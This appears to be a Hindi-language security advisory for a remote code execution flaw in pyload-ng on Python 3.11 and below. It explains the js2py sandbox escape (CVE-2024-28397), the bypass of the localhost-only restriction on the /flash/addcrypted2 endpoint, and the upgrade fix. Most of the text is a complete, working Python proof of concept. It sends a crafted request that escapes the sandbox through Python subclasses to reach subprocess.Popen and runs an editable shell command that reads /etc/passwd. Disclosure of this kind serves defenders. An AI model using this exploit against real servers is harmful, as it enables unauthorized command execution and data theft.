
Pyload RCE with js2py sandbox escape
js2py सैंडबॉक्स एस्केप के साथ Pyload RCE
कोई भी pyload-ng जो python3.11 या उससे नीचे चल रहा है, RCE के प्रति संवेदनशील है। हमलावर कोई भी शेल कमांड युक्त अनुरोध भेज सकता है और पीड़ित सर्वर तुरंत उसे निष्पादित करेगा।
pyload-ng के नवीनतम संस्करण में अपग्रेड करें या बस pyload को python3.12 या उससे ऊपर के साथ चलाएं।
js2py में CVE-2024-28397 के रूप में निर्धारित सैंडबॉक्स एस्केप की कमजोरी है, जिसका उपयोग pyload-ng के /flash/addcrypted2 API एंडपॉइंट द्वारा किया जाता है। यद्यपि यह एंडपॉइंट केवल localhost कनेक्शन स्वीकार करने के लिए डिज़ाइन किया गया है, हम HTTP Header का उपयोग करके इस प्रतिबंध को बायपास कर सकते हैं, इस प्रकार इस API तक पहुँच प्राप्त कर सकते हैं और RCE प्राप्त कर सकते हैं।
PoC नीचे प्रदान किया गया है, आप इसमें निष्पादित होने वाले शेल कमांड को संशोधित कर सकते हैं:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
जो कोई भी python3.11 या उससे नीचे पर pyload-ng का नवीनतम संस्करण (<=0.5.0b3.dev85) चलाता है। pyload-ng python3.12 या उससे ऊपर के लिए js2py का उपयोग नहीं करता है।
https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g